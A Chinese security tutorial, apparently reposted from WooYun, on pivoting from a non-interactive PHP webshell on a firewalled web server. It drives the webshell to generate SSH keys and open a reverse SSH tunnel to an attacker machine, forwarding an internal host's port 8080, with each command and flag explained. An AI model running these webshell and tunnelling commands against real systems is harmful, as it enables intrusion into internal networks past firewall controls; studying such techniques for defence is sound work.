如图中所示,这台web server在防火墙之后,且防火墙只允许外界通过80和443端口发送请求到web server。此外,因为获取的shell的用户权限较小(图中为www-data),且是非交互式( non-interactive )shell (PHP中继) ,利用起来非常受限。
这里简单说一下交互式shell(interactive shell)和非交互式shell(non-interactive shell)的区别
interactive shell:需要交互,即shell等待我们的输入,然后立即执行提交的命令,我们平常打开终端,执行命令的就是这种shell
non-interactive shell:不要要交互,通常以shell script方式来执行,shell读取存放在文件中的命令,然后执行,命令执行完,shell就终止了
wget -O - -q "http://webserver.com/uploads/sh.php?cmd=whoami"
wget 命令参数解释:
-O - : 表示输出到stdout
-q :quiet模式,关闭输出
解决方法
因为防火墙的原因,无法直接从正向(attacker -> firewall -> web server)来进行利用。但从图中,我们可以看到,web server开放了22等端口,且防火墙不会拦截内部向外发起的请求。
因此,作者选择创建一条从web server到attacker machine的的反向SSH 隧道,利用加密的隧道和端口转发来解决这个问题。如下图
但是,因为获得的shell是非交互式( non-interactive )的,并且SSH client需要通过交互来输入密码,因此从PHP shell直接创建SSH隧道是不可行的。
为了克服这个问题,作者使用了SSH public key authentication,这种认证方式不需要密码。因为web server上没有public-private SSH key pair,因此需要利用 ssh-keygen 命令来生成。
SSH public key authentication作用:为了让两个linux机器之间使用ssh不需要用户名和密码。采用了数字签名RSA或者DSA来完成这个操作。
因为non-interactive shell的原因,这里需要在执行命令的同时,指定key files的保存路径和密码参数。
wget -O - -q "http://webserver.com/uploads/sh.php?cmd=ssh-keygen -f /tmp/id_rsa -N "" "
ssh-keygen 命令参数解释:
-f : key文件保存路径
-N : 提供密码。因为生产key 过程中需要输入两次密码,因此这里有两个”
获取public keywget -O - -q "http://webserver.com/uploads/sh.php?cmd=cat /tmp/id_rsa.pub "
接下来需要在attacker machine上建一个低权限的用户,然后把从web server上获取到的public key 放到我们的authorized_keys 文件中去。这样 www-datat 用户就能够不需要密码就能SSH到attacker machine
sudo adduser --system tempuser
sudo mkdir /home/tempuser/.ssh
echo "ssh-rsa AAAAB3NzaC1yc2EAAA....sQCuKX [email protected]" | sudo tee /home/tempuser/.ssh/authorized_keys > /dev/null
tee命令介绍:读取标准输入的数据,并将其内容输出成文件。
到此,我们就能够创建一个从从web server到attacker machine的一个反向SSH连接,然后将本地8080段端口转发到内部server的8080端口,比如图中的 192.168.20.13:8080
wget -O - -q "http://webserver.com/uploads/sh.php?cmd=ssh -i /tmp/id_rsa -o StrictHostKeyChecking=no -R 127.0.0.1:8080:192.168.20.13:8080 -N -f [email protected]"
ssh 命令参数介绍:
-i : private RSA key
-o : option。
-R : 端口转发。格式为[bind_address:]port:host:hostport
-N : 不执行远程命令。仅用于端口转发
-f : 命令执行之前,让ssh到后台运行
命令运行完后没有输出,但是可以看到本机的SSH server以 tempuser 的身份打开了8080端口的TCP连接。当连接到这个8080端口后,请求就会通过这个加密的SSH隧道转发到内部server中去。
from:http://zone.wooyun.org/content/22479
本文始发于微信公众号(关注安全技术):通过non-interactive shell转发请求到内网
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论